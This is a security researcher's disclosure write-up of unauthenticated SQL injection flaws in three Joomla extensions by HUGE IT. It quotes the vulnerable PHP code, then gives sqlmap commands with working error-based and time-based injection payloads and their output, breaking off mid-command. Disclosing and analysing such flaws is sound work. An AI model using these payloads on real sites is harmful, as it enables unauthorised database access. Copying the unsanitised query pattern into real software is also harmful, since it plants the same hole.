Earlier this month, I found myself thinking about some vulnerabilities I discovered with my intern, Elitza Neytcheva, while demonstrating vulnerability research. I realized I only gave the code a nominal review, only partially analyzing and tracing the execution paths to exploit the XSS and SQL injection that Elitza and I initially found. We looked at about 5% of the overall extensions code. I figured it could use a second deeper look, and I wanted to find a SQL injection that didn't require an authenticated user to exploit - which is the worst kind of vulnerability.
I started to manually select php files to examine if code had been protected with this line:
defined('_JEXEC') or die('Restricted access');
All of the extension .php files had that code right at the start. That code ensures that the user executing that .php file isn't calling it directly. The user must be logged in to the Joomla CMS in order to run it. I did find one file (ajax_url.php) that piqued my interest with the following code snippet:
11 define('_JEXEC',1);
12 defined('_JEXEC') or die('Restircted access');
The first line negates the second line; might as well as delete both of them. This .php file can be executed by anyone with a web browser by making a GET request.
CVE-2016-1000123The first vulnerability, CVE-2016-1000123, is in the following code for Video Gallery v1.0.9. The code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php.
Vulnerable Code in : ajax_url.php
11 define('_JEXEC',1);
12 defined('_JEXEC') or die('Restircted access');
.
.
.
28 if($_POST['task']=="load_videos_content"){29
30 $page = 1;
31
32
33 if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){34 $paramssld='';
35 $db5 = JFactory::getDBO();
36 $query5 = $db->getQuery(true);
37 $query5->select('*');
38 $query5->from('#__huge_it_videogallery_params');
39 $db->setQuery($query5);
40 $options_params = $db5->loadObjectList();
41 foreach ($options_params as $rowpar) {
42 $key = $rowpar->name;
43 $value = $rowpar->value;
44 $paramssld[$key] = $value;45 }
.
.
49 $idofgallery=$_POST['galleryid'];50
51 $query = $db->getQuery(true);
52 $query->select('*');
53 $query->from('#__huge_it_videogallery_videos');
54 $query->where('videogallery_id ='.$idofgallery);
55 $query ->order('#__huge_it_videogallery_videos.ordering asc');
56 $db->setQuery($query,$start,$num);
The content of the $_POST['galleryid'] variable is passed without any sanitization into the SQL query string, allowing a malicious user to inject their own SQL statements.I suspected the code above would be reused in other extensions that the HUGE IT development team maintains, so I downloaded all of them from their website. I found similar SQL injection points in two more extensions - specifically in the ajax_url.php code.
CVE-2016-1000124Almost exactly the same vulnerability here, an arbitrary user can inject SQL via the function huge_it_portfolio_gallery_ajax in ajax_url.php for Portfolio Gallery Plugin v1.0.6:
In file ajax_url.php:
11 define('_JEXEC',1);
12 defined('_JEXEC') or die('Restircted access');
.
.
.
49 $page = $_POST["page"]; 50 $num=$_POST['perpage'];51 $start = $page * $num - $num;
52 $idofgallery=$_POST['galleryid']; 53 $level = $_POST['level'];54 $query = $db->getQuery(true);
55 $query->select('*');
56 $query->from('#__huge_itportfolio_images');
57 $query->where('portfolio_id ='.$idofgallery);
58 $query ->order('#__huge_itportfolio_images.ordering asc');
59 $db->setQuery($query,$start,$num);
CVE-2016-1000125Again, we see the extension author does not prevent an unauthenticated user from injecting SQL into the query. This time in the function 'load_more_elements_into_catalog' located in ajax_url.php for Catalog v1.0.7.
Vulnerable Code in : ajax_url.php
11 define('_JEXEC', 1);
12 defined('_JEXEC') or die('Restircted access');
.
.
.
308 } elseif ($_POST["post"] == "load_more_elements_into_catalog") { 309 $catalog_id = $_POST["catalog_id"]; 310 $old_count = $_POST["old_count"]; 311 $count_into_page = $_POST["count_into_page"]; 312 $show_thumbs = $_POST["show_thumbs"]; 313 $show_description = $_POST["show_description"]; 314 $show_linkbutton = $_POST["show_linkbutton"]; 315 $parmalink = $_POST["parmalink"]; 316 $level = $_POST['level'];.
.
.
359 $query->select('*');
360 $query->from('#__huge_it_catalog_products');
361 $query->where('catalog_id =' . $catalog_id);
362 $query->order('ordering asc');
363 $db->setQuery($query, $from, $count_into_page);
Exploitation
CVE-2016-1000123$ sqlmap -u 'http://example.com/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2" --level=5 --risk=3
.
.
.
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: mysql OR error-based - WHERE or HAVING clause (FLOOR)
Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2
---
[19:36:55] [INFO] the back-end DBMS is MySQLweb server operating system: linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12
[19:36:55] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 2714 times
[19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4' [*] shutting down at 19:36:55 CVE-2016-1000124 $ sqlmap -u 'http://example.com/components/com_portfoliogallery/ajax_url.php' --data="page=1&galleryid=*&post=huge_it_portfolio_gallery_ajax&